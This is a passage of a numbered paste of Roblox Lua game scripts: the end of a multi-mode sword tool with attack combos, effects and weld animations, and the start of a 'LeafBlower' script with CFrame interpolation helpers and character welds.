  2726. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0.5+1.3*i,0,0.3*i)
  2727. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2728. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,1,0)
  2729. RW.C1 = CFrame.new(0, 1, 0) * CFrame.fromEulerAnglesXYZ(-0.9*i,0,0)
  2730. end
  2731. Gyro = Instance.new("BodyGyro", Char.Torso)
  2732. Gyro.D = 50
  2733. Gyro.cframe = Char.Torso.CFrame
  2734. Gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  2735. bp = Make.BP(Char.Torso,Char.Torso.Position+Vector3.new(0,35,0))
  2736. coroutine.resume(coroutine.create(function()
  2737. while derpin == true do wait()
  2738. for i = 0,1,0.1 do wait()
  2739. Derp = Effect2(Char.Torso, 3*i,3*i,3*i, 0,0.5,-2,BrickColor.new(RangedModeColor),Char)
  2740. end
  2741. end
  2742. end))
  2743. wait(2)
  2744. bp.position = Char.Torso.Position+Vector3.new(0,-35,0)
  2745. coroutine.resume(coroutine.create(function()
  2746. for i = 0,1,0.1 do wait()
  2747. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.6*i,0,0)
  2748. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1,1,0)
  2749. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,1,0)
  2750. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.6*i,0,0)
  2751. lel = Effect(Char.Torso, 10*i,1.2*i,10*i, 0,-2,0, 0,0,0,BrickColor.new(RangedModeColor),20329976)
  2752. end
  2753. derpin = false
  2754. for i, v in pairs(game:service("Players"):GetPlayers()) do
  2755. if v.Name ~= Me.Name and (v.Character.Torso.Position - Char.Torso.Position).magnitude < 20 then
  2756. v.Character.Humanoid:TakeDamage(999999999999999999999999999)
  2757. v.Character.Humanoid.Sit = true
  2758. EBV = Instance.new("BodyVelocity", v.Character.Torso)
  2759. EBV.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2760. EBV.velocity = v.Character.Torso.CFrame.lookVector * -30
  2761. game:service("Debris"):AddItem(EBV,0.2)
  2762. end
  2763. end
  2764. end))
  2765. wait(1)
  2766. Gyro:remove()
  2767. bp:remove()
  2768. wait(1)
  2769. Mode = "Normal"
  2770. Activated = false
  2771. end
  2772. function bdown(mouse)
  2773. if Activated == true then return end
  2774. if Combo == 0 then
  2775. FirstSlash()
  2776. coroutine.resume(coroutine.create(function()
  2777. wait(0.5)
  2778. if Activated == false then
  2779. Combo = 0
  2780. end
  2781. end))
  2782. elseif Combo == 1 then
  2783. SecondSlash()
  2784. coroutine.resume(coroutine.create(function()
  2785. wait(0.5)
  2786. if Activated == false then
  2787. Combo = 0
  2788. end
  2789. end))
  2790. elseif Combo == 2 then
  2791. ThirdSlash()
  2792. coroutine.resume(coroutine.create(function()
  2793. wait(0.5)
  2794. if Activated == false then
  2795. Combo = 0
  2796. end
  2797. end))
  2798. end
  2799. end
  2800. coroutine.resume(coroutine.create(function()
  2801. while wait() do
  2802. if Selected == true then
  2803. coroutine.resume(coroutine.create(function()
  2804. for i = 0,1,0.1 do
  2805. wait(0.1)
  2806. DiamondWeld.C0 = DiamondWeld.C0*CFrame.Angles(0, math.rad(i*1), 0)
  2807. end
  2808. end))
  2809. if Mode == "Normal" then
  2810. BaseThing.BrickColor = BrickColor.new(NormalModeColor)
  2811. Tip2.BrickColor = BrickColor.new(NormalModeColor)
  2812. Tip1.BrickColor = BrickColor.new(NormalModeColor)
  2813. HandleSturf.BrickColor = BrickColor.new(NormalModeColor)
  2814. HandleSturf2.BrickColor = BrickColor.new(NormalModeColor)
  2815. HandleSturf3.BrickColor = BrickColor.new(NormalModeColor)
  2816. LongSword2.BrickColor = BrickColor.new(NormalModeColor)
  2817. elseif Mode == "Ranged" then
  2818. BaseThing.BrickColor = BrickColor.new(RangedModeColor)
  2819. Tip2.BrickColor = BrickColor.new(RangedModeColor)
  2820. Tip1.BrickColor = BrickColor.new(RangedModeColor)
  2821. HandleSturf.BrickColor = BrickColor.new(RangedModeColor)
  2822. HandleSturf2.BrickColor = BrickColor.new(RangedModeColor)
  2823. HandleSturf3.BrickColor = BrickColor.new(RangedModeColor)
  2824. LongSword2.BrickColor = BrickColor.new(RangedModeColor)
  2825. elseif Mode == "Blocking" then
  2826. BaseThing.BrickColor = BrickColor.new(BlockModeColor)
  2827. Tip2.BrickColor = BrickColor.new(BlockModeColor)
  2828. Tip1.BrickColor = BrickColor.new(BlockModeColor)
  2829. HandleSturf.BrickColor = BrickColor.new(BlockModeColor)
  2830. HandleSturf2.BrickColor = BrickColor.new(BlockModeColor)
  2831. HandleSturf3.BrickColor = BrickColor.new(BlockModeColor)
  2832. LongSword2.BrickColor = BrickColor.new(BlockModeColor)
  2833. end
  2834. end
  2835. end
  2836. end))
  2837. function key(key)
  2838. if Activated == true then return end
  2839. if key == "z" then
  2840. Dash()
  2841. end
  2842. if key == "x" then
  2843. Shockwave()
  2844. end
  2845. if key == "c" then
  2846. Guard()
  2847. end
  2848. if key == "e" then
  2849. SuperCombo()
  2850. end
  2851. end
  2852. function key2(key)
  2853. if key == "z" then
  2854. Holding = false
  2855. end
  2856. if key == "c" then
  2857. Guarding = false
  2858. end
  2859. end
  2860. if script.Name ~= "Made by: [[>> BrannZeus© <<]]" then
  2861. script.Disabled = true
  2862. Instance.new("Explosion",Char.Torso).Position = Char.Torso.Position
  2863. end
  2864. Damage = function(hit, amount)
  2865. if attackdebounce == false then
  2866. attackdebounce = true
  2867. coroutine.resume(coroutine.create(function()
  2868. wait(0.1)
  2869. attackdebounce = false
  2870. end))
  2871. if hit.Parent==nil then
  2872. return
  2873. end
  2874. h=hit.Parent:FindFirstChild("Humanoid")
  2875. if h~=nil and hit.Parent.Name~=Char.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  2876. amount=amount
  2877. print(hit.Parent.Name)
  2878. c = Instance.new("ObjectValue",h)
  2879. c.Name = "creator"
  2880. c.Value = Me
  2881. game:GetService("Debris"):AddItem(c,.5)
  2882. h:TakeDamage(amount)
  2883. end
  2884. end
  2885. end
  2886. function KewlShet(parent, x,y,z, color)
  2887. local p=Instance.new("Part", parent)
  2888. p.Size=Vector3.new(1,1,1)
  2889. p.BrickColor= color
  2890. p.Anchored=true
  2891. p.CanCollide=false
  2892. p.CFrame=parent.CFrame*CFrame.new(math.random(-0.6,0.6),math.random(-1,1),math.random(-0.6,0.6))*CFrame.Angles(math.random(-360,360),math.random(-360,360),math.random(-360,360))
  2893. local m=Instance.new("BlockMesh", p)
  2894. m.Scale=Vector3.new(x, y, z)
  2895. Delay(0,function()
  2896. local p=p
  2897. for i=1,5 do
  2898. wait(0.05)
  2899. p.Transparency=i/5
  2900. end
  2901. p:remove()
  2902. end)
  2903. end
  2904. function Effect(part,x1,y1,z1,x2,y2,z2,x3,y3,z3,color,id)
  2905. local msh1 = Instance.new("SpecialMesh")
  2906. msh1.Scale = Vector3.new(x1, y1, z1)
  2907. msh1.MeshType = "FileMesh"
  2908. msh1.MeshId = "http://www.roblox.com/asset/?id="..id..""
  2909. S=Instance.new("Part", Char)
  2910. S.formFactor=0
  2911. S.Size=Vector3.new(1, 1, 1)
  2912. S.BrickColor=color
  2913. S.TopSurface=0
  2914. S.BottomSurface=0
  2915. S.Anchored=true
  2916. S.CanCollide=false
  2917. msh1.Parent = S
  2918. S.CFrame=part.CFrame*CFrame.new(x2,y2,z2)*CFrame.fromEulerAnglesXYZ(x3,y3,z3)
  2919. coroutine.resume(coroutine.create(function(Part,CF) for i=1, 9 do Part.Mesh.Scale = Part.Mesh.Scale + Vector3.new(0.15,0.3,0.15) Part.Transparency=i*.1 wait() end Part.Parent=nil end),S,S.CFrame)
  2920. end
  2921. function Effect2(part,x1,y1,z1,x2,y2,z2,color,parent)
  2922. local msh2 = Instance.new("BlockMesh")
  2923. msh2.Scale = Vector3.new(x1, y1, z1)
  2924. S=Instance.new("Part", parent)
  2925. S.FormFactor=0
  2926. S.Size=Vector3.new(1, 1, 1)
  2927. S.BrickColor = color
  2928. S.Reflectance = 0
  2929. S.TopSurface=0
  2930. S.BottomSurface=0
  2931. S.Transparency=0.0
  2932. S.Anchored=true
  2933. S.CanCollide=false
  2934. msh2.Parent = S
  2935. S.CFrame=part.CFrame*CFrame.new(x2, y2, z2)*CFrame.fromEulerAnglesXYZ(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2936. coroutine.resume(coroutine.create(function(Part,CF) for i=1, 9 do Part.Mesh.Scale = Part.Mesh.Scale + Vector3.new(0.1,0.1,0.1) Part.CFrame=Part.CFrame*CFrame.fromEulerAnglesXYZ(math.random(-50,50),math.random(-50,50),math.random(-50,50)) Part.Transparency=i*.1 wait() end Part.Parent=nil end),S,S.CFrame)
  2937. end
  2938. script.Name = "Made by: [[>> BrannZeus© <<]]"
  2939. function s(mouse)
  2940. AlreadySelected = true
  2941. Selected = true
  2942. Activated = true
  2943. mouse.Button1Down:connect(function() bdown(mouse) end)
  2944. mouse.Button1Up:connect(function() ButtonUp(mouse) end)
  2945. mouse.KeyDown:connect(key)
  2946. mouse.KeyUp:connect(key2)
  2947. HitBoxWeld,DiamondWeld,HandleSturfW2,HandleSturfW3,BaseThingWeld,TorsoW,RW, LW, HandleWeld, HandleWeld2, HandleWeldSpike1, HandleWeldSpike2, LongWeld, LongWeld2, TipWeld1, BigTipWeld1, BigTipWeld2, TipWeld2 = Instance.new("Weld",Char.Torso),Instance.new("Weld",Char.Torso),Instance.new("Weld",Char.Torso), Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso)
  2948. coroutine.resume(coroutine.create(function()
  2949. for _,v in pairs(Model:children()) do
  2950. if v.className == "Part" then
  2951. v.Anchored = false
  2952. FakeTorso.Anchored = false
  2953. end
  2954. end
  2955. for i,x in pairs(Char:children()) do
  2956. if x.className == "Shirt" or x.className == "Pants" or x.className == "CharacterMesh" then
  2957. x:remove()
  2958. end
  2959. end
  2960. end))
  2961. RW.Part0 = Char.Torso
  2962. RW.C0 = CFrame.new(1.5, 0.5, 0)
  2963. RW.C1 = CFrame.new(0, 0.5, 0)
  2964. RW.Part1 = RightArm
  2965. LW.Part0 = Char.Torso
  2966. LW.C0 = CFrame.new(-1.5, 0.5, 0)
  2967. LW.C1 = CFrame.new(0, 0.5, 0)
  2968. LW.Part1 = LeftArm
  2969. TorsoW.Part0 = Char.Torso
  2970. TorsoW.C0 = CFrame.new(0, 0.5, 0)
  2971. TorsoW.C1 = CFrame.new(0, 0.5, 0)
  2972. TorsoW.Part1 = FakeTorso
  2973. for i = 0,1,0.1 do
  2974. wait()
  2975. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(-0.4*i,0,-0.4*i)
  2976. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,-0.3*i)
  2977. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2978. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0.5+2*i,0,0.3*i)
  2979. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2980. end
  2981. HandleSturfW2 = Instance.new("Weld", Char.Torso)
  2982. HandleSturfW2.Part0 = Handle
  2983. HandleSturfW2.C0 = CFrame.new(-0.5, -0.5, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
  2984. HandleSturfW2.C1 = CFrame.new(0, 0.5, 0)
  2985. HandleSturfW2.Part1 = HandleSturf2
  2986. HandleSturfW3 = Instance.new("Weld", Char.Torso)
  2987. HandleSturfW3.Part0 = Handle
  2988. HandleSturfW3.C0 = CFrame.new(-0.5, 0, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
  2989. HandleSturfW3.C1 = CFrame.new(0, 0.5, 0)
  2990. HandleSturfW3.Part1 = HandleSturf3
  2991. DiamondWeld = Instance.new("Weld", Char.Torso)
  2992. DiamondWeld.Part0 = Handle
  2993. DiamondWeld.C0 = CFrame.new(-0.5, 1.24, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
  2994. DiamondWeld.C1 = CFrame.new(0, 0.5, 0)
  2995. DiamondWeld.Part1 = Diamond
  2996. HandleSturfW1 = Instance.new("Weld", Char.Torso)
  2997. HandleSturfW1.Part0 = Handle
  2998. HandleSturfW1.C0 = CFrame.new(-0.5, 0.5, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
  2999. HandleSturfW1.C1 = CFrame.new(0, 0.5, 0)
  3000. HandleSturfW1.Part1 = HandleSturf
  3001. BaseThingWeld.Part0 = Handle
  3002. BaseThingWeld.C0 = CFrame.new(-0.45, 1.4, -0.05)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
  3003. BaseThingWeld.C1 = CFrame.new(0, 0.5, 0)
  3004. BaseThingWeld.Part1 = BaseThing
  3005. HandleWeld.Part0 = RightArm
  3006. HandleWeld.C0 = CFrame.new(0, -1, 0.5)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0)
  3007. HandleWeld.C1 = CFrame.new(0, 0.5, 0)
  3008. HandleWeld.Part1 = Handle
  3009. BigTipWeld2.Part0 = Handle2
  3010. BigTipWeld2.C0 = CFrame.new(-0.7, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/2)
  3011. BigTipWeld2.C1 = CFrame.new(0, 0.5, 0)
  3012. BigTipWeld2.Part1 = BigTip2
  3013. BigTipWeld1.Part0 = Handle2
  3014. BigTipWeld1.C0 = CFrame.new(0.7, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/-2)
  3015. BigTipWeld1.C1 = CFrame.new(0, 0.5, 0)
  3016. BigTipWeld1.Part1 = BigTip1
  3017. TipWeld2.Part0 = Handle2
  3018. TipWeld2.C0 = CFrame.new(-0.6, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/2)
  3019. TipWeld2.C1 = CFrame.new(0, 0.5, 0)
  3020. TipWeld2.Part1 = Tip2
  3021. TipWeld1.Part0 = Handle2
  3022. TipWeld1.C0 = CFrame.new(0.6, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/-2)
  3023. TipWeld1.C1 = CFrame.new(0, 0.5, 0)
  3024. TipWeld1.Part1 = Tip1
  3025. HitBoxWeld.Part0 = Handle
  3026. HitBoxWeld.C0 = CFrame.new(-0.5, -3.2, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
  3027. HitBoxWeld.C1 = CFrame.new(0, 0.5, 0)
  3028. HitBoxWeld.Part1 = HitBox
  3029. LongWeld.Part0 = Handle
  3030. LongWeld.C0 = CFrame.new(-0.5, -2.6, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
  3031. LongWeld.C1 = CFrame.new(0, 0.5, 0)
  3032. LongWeld.Part1 = LongSword
  3033. LongWeld2.Part0 = Handle
  3034. LongWeld2.C0 = CFrame.new(-0.5, -2.6, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
  3035. LongWeld2.C1 = CFrame.new(0, 0.5, 0)
  3036. LongWeld2.Part1 = LongSword2
  3037. HandleWeld2.Part0 = Handle
  3038. HandleWeld2.C0 = CFrame.new(-0.5, -0.9, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
  3039. HandleWeld2.C1 = CFrame.new(0, 0.5, 0)
  3040. HandleWeld2.Part1 = Handle2
  3041. HandleWeldSpike2.Part0 = Handle2
  3042. HandleWeldSpike2.C0 = CFrame.new(-1.6, 0.02, 0.55)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/2)
  3043. HandleWeldSpike2.C1 = CFrame.new(0, 0.5, 0)
  3044. HandleWeldSpike2.Part1 = HandleWedge2
  3045. HandleWeldSpike1.Part0 = Handle2
  3046. HandleWeldSpike1.C0 = CFrame.new(1.6, 0, 0.55)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/-2)
  3047. HandleWeldSpike1.C1 = CFrame.new(0, 0.5, 0)
  3048. HandleWeldSpike1.Part1 = HandleWedge1
  3049. for _,v in pairs(Model:children()) do
  3050. if v.className == "Part" and v.Name ~= "HitBox" then
  3051. coroutine.resume(coroutine.create(function()
  3052. for x = 1, 10 do
  3053. wait(0.1)
  3054. v.Transparency = v.Transparency-0.1
  3055. end
  3056. end))
  3057. end
  3058. end
  3059. FakeTorso.Transparency = 0
  3060. Char.Torso.Transparency = 1
  3061. wait(1)
  3062. for i = 0,1,0.1 do
  3063. wait()
  3064. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(-0.4+0.4*i,0,-0.4+0.4*i)
  3065. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
  3066. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3067. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
  3068. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3069. end
  3070. FakeTorso.Transparency = 0
  3071. Activated = false
  3072. end
  3073. function ds(mouse)
  3074. Selected = false
  3075. for _,v in pairs(Model:children()) do
  3076. if v.className == "Part" then
  3077. coroutine.resume(coroutine.create(function()
  3078. for x = 1, 10 do
  3079. wait(0.1)
  3080. v.Transparency = v.Transparency+0.1
  3081. end
  3082. end))
  3083. end
  3084. end
  3085. end
  3086. bin.Selected:connect(s)
  3087. bin.Deselected:connect(ds)
  3088. function onRunning(speed)
  3089. if Activated == true then return end
  3090. if Selected then
  3091. if speed>0 then
  3092. walking = true
  3093. for i = 0,1,0.2 do
  3094. wait(0)  
  3095. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.7*i,0,-0.3*i)
  3096. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3097. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.5-0.8*i,0.3*i,0)
  3098. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3099. end
  3100.         else
  3101. walking = false
  3102. for i = 0,1,0.1 do
  3103. wait(0)  
  3104. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.7+0.7*i,0,-0.3+0.3*i)
  3105. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3106. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.5-0.8+0.8*i,-0.3+0.3*i,0)
  3107. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3108. end
  3109. end
  3110. end
  3111. if AlreadySelected and not Selected then
  3112. if speed>1 then
  3113. lolwalking = true
  3114. for i = 0,1,0.1 do
  3115. wait()
  3116. Char.Torso.Neck.C1 = necko*CFrame.new(0, 0.6, -1.5)
  3117. Char.Torso.Neck.C0 = necko*CFrame.new(0, 0, 0)
  3118. TorsoW.C0 = CFrame.new(0, 0.5, -0.4)*CFrame.fromEulerAnglesXYZ(-0.25*i, 0, 0)
  3119. TorsoW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3120. LW.C0 = CFrame.new(-1.5,0.5,-0.4) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,-0.2*i)
  3121. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3122. RW.C0 = CFrame.new(1.5,0.5,-0.4) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,0.2*i)
  3123. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3124. end
  3125.     else
  3126. lolwalking = false
  3127. for i = 0,1,0.1 do
  3128. wait()
  3129. Char.Torso.Neck.C1 = necko*CFrame.new(0, 0, -1.5)
  3130. Char.Torso.Neck.C0 = necko*CFrame.new(0, 0, 0)
  3131. TorsoW.C0 = CFrame.new(0, 0.5, 0)*CFrame.fromEulerAnglesXYZ(-0.25+0.25*i, 0, 0)
  3132. TorsoW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3133. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
  3134. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3135. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
  3136. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3137. end
  3138. end
  3139. end
  3140. end
  3141. Char.Humanoid.Running:connect(onRunning)
  3142.  
  3143. function makeclone()
  3144. tip = HitBox
  3145. if tip~= nil then
  3146. off = (tip.Size.z)/2
  3147. point = (tip.CFrame*CFrame.new(0, 0, -off)).p
  3148. unit = (lastpoint - point).unit
  3149. mag = (lastpoint - point).magnitude
  3150. if mag>1 then
  3151. middle = lastpoint-(unit*(mag/2))
  3152. cf = CFrame.new(middle, point)
  3153. for _, x in pairs(Model:GetChildren()) do
  3154. if x.className == "Part" then
  3155. um = x:Clone()
  3156. um.Parent = workspace
  3157. um.Name = "derp"
  3158. um.Anchored = true
  3159. um.CanCollide = false
  3160. um.BrickColor = x.BrickColor
  3161. end
  3162. end
  3163. um.CFrame = cf
  3164. table.insert(leds, um)
  3165. lastpoint = point
  3166. end
  3167. end
  3168. end
  3169. function fade()
  3170. for _,v in pairs(game:service("Workspace"):children()) do
  3171. if v.className == "Part" and v.Name == "derp" then
  3172. v.Transparency = v.Transparency+0.5
  3173. if v.Transparency>1 then
  3174. v:remove()
  3175. end
  3176. end
  3177. end
  3178. end
  3179. coroutine.resume(coroutine.create(function()
  3180. while true do
  3181.         makeclone()
  3182.         wait(0.05)
  3183.         fade()
  3184. end
  3185. end))
  3186. ]==]
  3187.  
  3188. LeafBlower = [==[
  3189. repeat wait() until game:service'Players'.LocalPlayer.Character
  3190. --[[
  3191.    
  3192. - Added new color scheme.
  3193. - Some minor edits.
  3194. - New engine type, for your faster speed requirements.
  3195. - Camera bug fix.
  3196. ]]--
  3197. do --CFrame lerp
  3198.         local function QuaternionFromCFrame(cf)
  3199.                 local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  3200.                 local trace = m00 + m11 + m22
  3201.                 if trace > 0 then
  3202.                         local s = math.sqrt(1 + trace)
  3203.                         local recip = 0.5/s
  3204.                         return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  3205.                 else
  3206.                         local i = 0
  3207.                         if m11 > m00 then
  3208.                                 i = 1
  3209.                         end
  3210.                         if m22 > (i == 0 and m00 or m11) then
  3211.                                 i = 2
  3212.                         end
  3213.                         if i == 0 then
  3214.                                 local s = math.sqrt(m00-m11-m22+1)
  3215.                                 local recip = 0.5/s
  3216.                                 return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  3217.                         elseif i == 1 then
  3218.                                 local s = math.sqrt(m11-m22-m00+1)
  3219.                                 local recip = 0.5/s
  3220.                                 return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  3221.                         elseif i == 2 then
  3222.                                 local s = math.sqrt(m22-m00-m11+1)
  3223.                                 local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  3224.                         end
  3225.                 end
  3226.         end
  3227.         local function QuaternionToCFrame(px, py, pz, x, y, z, w)
  3228.                 local xs, ys, zs = x + x, y + y, z + z
  3229.                 local wx, wy, wz = w*xs, w*ys, w*zs
  3230.                 local xx = x*xs
  3231.                 local xy = x*ys
  3232.                 local xz = x*zs
  3233.                 local yy = y*ys
  3234.                 local yz = y*zs
  3235.                 local zz = z*zs
  3236.                 return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  3237.                 end  
  3238.         local function QuaternionSlerp(a, b, t)
  3239.                 local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  3240.                 local startInterp, finishInterp;
  3241.                 if cosTheta >= 0.0001 then
  3242.                         if (1 - cosTheta) > 0.0001 then
  3243.                                 local theta = math.acos(cosTheta)
  3244.                                 local invSinTheta = 1/math.sin(theta)
  3245.                                 startInterp = math.sin((1-t)*theta)*invSinTheta
  3246.                                 finishInterp = math.sin(t*theta)*invSinTheta  
  3247.                         else
  3248.                                 startInterp = 1-t
  3249.                                 finishInterp = t
  3250.                         end
  3251.                 else
  3252.                         if (1+cosTheta) > 0.0001 then
  3253.                                 local theta = math.acos(-cosTheta)
  3254.                                 local invSinTheta = 1/math.sin(theta)
  3255.                                 startInterp = math.sin((t-1)*theta)*invSinTheta
  3256.                                 finishInterp = math.sin(t*theta)*invSinTheta
  3257.                         else
  3258.                                 startInterp = t-1
  3259.                                 finishInterp = t
  3260.                         end
  3261.                 end
  3262.                 return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  3263.         end  
  3264.         function clerp(a,b,t)
  3265.                 local qa = {QuaternionFromCFrame(a)}
  3266.                 local qb = {QuaternionFromCFrame(b)}
  3267.                 local ax, ay, az = a.x, a.y, a.z
  3268.                 local bx, by, bz = b.x, b.y, b.z  
  3269.                 local _t = 1-t
  3270.                 return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  3271.         end
  3272.  
  3273. end
  3274.  
  3275. plr = game:service'Players'.LocalPlayer
  3276. char = plr.Character
  3277. mouse = plr:GetMouse()
  3278. humanoid = char:findFirstChild("Humanoid")
  3279. torso = char:findFirstChild("Torso")
  3280. head = char.Head
  3281. ra = char:findFirstChild("Right Arm")
  3282. la = char:findFirstChild("Left Arm")
  3283. rl = char:findFirstChild("Right Leg")
  3284. ll = char:findFirstChild("Left Leg")
  3285. rs = torso:findFirstChild("Right Shoulder")
  3286. ls = torso:findFirstChild("Left Shoulder")
  3287. rh = torso:findFirstChild("Right Hip")
  3288. lh = torso:findFirstChild("Left Hip")
  3289. neck = torso:findFirstChild("Neck")
  3290. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  3291. anim = char:findFirstChild("Animate")
  3292. rootpart = char:findFirstChild("HumanoidRootPart")
  3293. camera = workspace.CurrentCamera
  3294. modelforparts = char:findFirstChild("ModelForParts") or Instance.new("Model", char)
  3295. modelforparts.Name = "ModelForParts"
  3296. equipped = false
  3297. local MAXSPEED = 90
  3298. local SPEED = 0
  3299. bg = Instance.new("BodyGyro")
  3300. bg.maxTorque = Vector3.new(9e6,9e6,9e6)
  3301. bg.D = 800
  3302. bv = Instance.new("BodyVelocity")
  3303. bv.maxForce = Vector3.new(9e6,9e6,9e6)
  3304.  
  3305. local sound = Instance.new("Sound", head)
  3306. sound.Volume = .25
  3307. sound.Pitch = 2
  3308. sound.SoundId = "rbxassetid://142317661"
  3309. sound.Looped = true
  3310. game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id=142317661")
  3311. wait()
  3312. sound:play()
  3313.  
  3314.  
  3315. ColorScheme1 = BrickColor.new(106)
  3316. ColorScheme2 = BrickColor.new(40)
  3317. ColorScheme3 = BrickColor.new(199)
  3318. ANGLE = 0
  3319.  equipped = true  
  3320.  
  3321. rs.Parent = nil
  3322. ls.Parent = nil
  3323. rh.Parent = nil
  3324. lh.Parent = nil
  3325. anim.Parent = nil
  3326. wait()
  3327. local rm = Instance.new("Weld", modelforparts)
  3328. rm.C0 = CFrame.new(1.5, 0.5, 0)
  3329. rm.C1 = CFrame.new(0, 0.5, 0)
  3330. rm.Part0 = torso
  3331. rm.Part1 = ra
  3332. local lm = Instance.new("Weld", modelforparts)
  3333. lm.C0 = CFrame.new(-1.5, 0.5, 0)
  3334. lm.C1 = CFrame.new(0, 0.5, 0)
  3335. lm.Part0 = torso
  3336. lm.Part1 = la
  3337. local rlegm = Instance.new("Weld", modelforparts)
  3338. rlegm.C0 = CFrame.new(0.5, -1, 0)
  3339. rlegm.C1 = CFrame.new(0, 1, 0)
  3340. rlegm.Part0 = torso
  3341. rlegm.Part1 = rl
